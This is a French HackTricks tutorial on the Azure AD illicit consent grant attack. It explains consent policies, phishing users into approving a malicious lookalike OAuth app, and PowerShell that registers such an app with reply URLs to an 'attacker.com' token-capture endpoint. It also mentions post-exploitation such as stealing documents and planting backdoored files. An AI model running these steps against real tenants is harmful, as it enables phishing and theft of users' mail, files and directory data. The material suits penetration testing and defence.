Az - Illicit Consent Grant

Support HackTricks

Phishing d'Application OAuth

Les applications Azure demandent des autorisations pour accéder aux données utilisateur (informations de base, mais aussi accès aux documents, envoi d'emails...). Si autorisé, un utilisateur normal peut accorder son consentement uniquement pour les "autorisations à faible impact". Dans tous les autres cas, le consentement de l'administrateur est requis. GA, ApplicationAdministrator, CloudApplication Administrator et un rôle personnalisé incluant permission to grant permissions to applications peuvent fournir un consentement à l'échelle du locataire.

Seules les autorisations qui ne nécessitent pas le consentement de l'administrateur sont classées comme à faible impact. Ce sont les autorisations requises pour la connexion de base qui sont openid, profile, email, User.Read et offline_access. Si une organisation autorise le consentement des utilisateurs pour toutes les applications, un employé peut accorder son consentement à une application pour lire les informations ci-dessus de son profil.

Par conséquent, un attaquant pourrait préparer une application malveillante et avec un phishing, amener l'utilisateur à accepter l'application et voler ses données.

2 Types d'Attaques de Consentement Illicite

  • Non authentifié : À partir d'un compte externe, créer une application avec les autorisations User.Read et User.ReadBasic.All par exemple, phishing un utilisateur, et vous pourrez accéder aux informations du répertoire.

  • Cela nécessite que l'utilisateur phishé puisse accepter des applications OAuth provenant d'environnements externes !

  • Authentifié : Ayant compromis un principal avec suffisamment de privilèges, créer une application à l'intérieur du compte et phishing un utilisateur privilégié qui peut accepter des autorisations OAuth privilégiées.

  • Dans ce cas, vous pouvez déjà accéder aux informations du répertoire, donc l'autorisation User.ReadBasic.All n'est plus intéressante.

  • Vous êtes probablement intéressé par les autorisations qui nécessitent qu'un administrateur les accorde, car un utilisateur ordinaire ne peut accorder aucune autorisation aux applications OAuth, c'est pourquoi vous devez phisher uniquement ces utilisateurs (plus d'informations sur les rôles/permissions qui accordent ce privilège plus tard)

Vérifier si les utilisateurs sont autorisés à consentir

La commande PowerShell suivante est utilisée pour vérifier la configuration du consentement pour les utilisateurs dans Azure Active Directory (Azure AD) concernant leur capacité à consentir à des applications :

PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
  • Désactiver le consentement des utilisateurs : Ce paramètre interdit aux utilisateurs de donner des autorisations aux applications. Aucun consentement des utilisateurs pour les applications n'est autorisé.

  • Les utilisateurs peuvent consentir aux applications de publishers vérifiés ou de votre organisation, mais uniquement pour les autorisations que vous sélectionnez : Ce paramètre permet à tous les utilisateurs de consentir uniquement aux applications publiées par un publisher vérifié et aux applications enregistrées dans votre propre locataire. Il ajoute une couche de contrôle en permettant le consentement uniquement pour des autorisations spécifiques.

  • Les utilisateurs peuvent consentir à toutes les applications : Ce paramètre est plus permissif et permet à tous les utilisateurs de consentir à toutes les autorisations pour les applications, tant que ces autorisations ne nécessitent pas de consentement administratif.

  • Politique de consentement d'application personnalisée : Ce paramètre indique qu'une politique personnalisée est en place, qui peut être adaptée aux exigences organisationnelles spécifiques et peut impliquer une combinaison de restrictions basées sur le publisher de l'application, les autorisations demandées par l'application et d'autres facteurs.

Comprendre l'attaque de consentement illicite

Dans une attaque de consentement illicite, les attaquants trompent les utilisateurs finaux pour qu'ils accordent des autorisations à une application malveillante enregistrée avec Azure. Cela se fait en faisant apparaître l'application comme légitime, conduisant les victimes à cliquer sans le savoir sur un bouton "Accepter". En conséquence, Azure AD émet un jeton vers le site de l'attaquant, leur permettant d'accéder et de manipuler les données de la victime, telles que la lecture ou l'envoi d'e-mails et l'accès à des fichiers, sans avoir besoin d'un compte organisationnel.

Aperçu du flux d'attaque

L'attaque implique plusieurs étapes ciblant une entreprise générique. Voici comment cela pourrait se dérouler :

  1. Enregistrement de domaine et hébergement d'application : L'attaquant enregistre un domaine ressemblant à un site de confiance, par exemple, "safedomainlogin.com". Sous ce domaine, un sous-domaine est créé (par exemple, "companyname.safedomainlogin.com") pour héberger une application conçue pour capturer des codes d'autorisation et demander des jetons d'accès.

  2. Enregistrement de l'application dans Azure AD : L'attaquant enregistre ensuite une application multi-locataire dans son locataire Azure AD, la nommant d'après l'entreprise cible pour paraître légitime. Il configure l'URL de redirection de l'application pour pointer vers le sous-domaine hébergeant l'application malveillante.

  3. Configuration des autorisations : L'attaquant configure l'application avec diverses autorisations API (par exemple, Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read). Ces autorisations, une fois accordées par l'utilisateur, permettent à l'attaquant d'extraire des informations sensibles au nom de l'utilisateur.

  4. Distribution de liens malveillants : L'attaquant crée un lien contenant l'identifiant client de l'application malveillante et le partage avec des utilisateurs ciblés, les trompant pour qu'ils accordent leur consentement.

Utilisation d'outils pour l'attaque

L'attaque peut être facilitée à l'aide d'outils comme 365-Stealer.

Préparation avant l'attaque :

Si l'attaquant a un certain niveau d'accès à un utilisateur de l'organisation victime, il pourrait vérifier si la politique de l'organisation permet à l'utilisateur d'accepter des applications :

Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("generic@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.

Pour exécuter l'attaque, l'attaquant devra créer une nouvelle application dans son locataire Azure (dans les enregistrements d'applications), configurée avec les autorisations :

User.ReadBasic.All se trouve dans Microsoft Graph dans Autorisations déléguées. (Les autorisations d'application nécessiteront toujours une approbation supplémentaire).

  • User.ReadBasic.All est l'autorisation qui vous permettra de lire les informations de tous les utilisateurs de l'organisation si elle est accordée.

  • N'oubliez pas que seuls GA, ApplicationAdministrator, CloudApplication Administrator et un rôle personnalisé incluant la permission d'accorder des autorisations aux applications peuvent fournir un consentement à l'échelle du locataire. Donc, vous devriez hameçonner un utilisateur avec l'un de ces rôles si vous voulez qu'il approuve une application nécessitant un consentement d'administrateur.

Vous pouvez également créer une application via cli avec :

# Generate Application
New-AzureADApplication -DisplayName "MyApp"  -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true

# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName"  -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"}  # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"

$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)

$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}

Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid

Vérifiez https://www.alteredsecurity.com/post/introduction-to-365-stealer pour apprendre à le configurer.

Notez que le jeton d'accès obtenu sera pour le point de terminaison graph avec les portées : User.Read et User.ReadBasic.All (les autorisations demandées). Vous ne pourrez pas effectuer d'autres actions (mais celles-ci suffisent pour télécharger des informations sur tous les utilisateurs dans l'organisation).

Vous pouvez également utiliser cet outil pour effectuer cette attaque.

Post-Exploitation

Une fois que vous avez accès à l'utilisateur, vous pouvez faire des choses telles que voler des documents sensibles et même télécharger des fichiers de documents avec des portes dérobées.

Références

Soutenir HackTricks

Last updated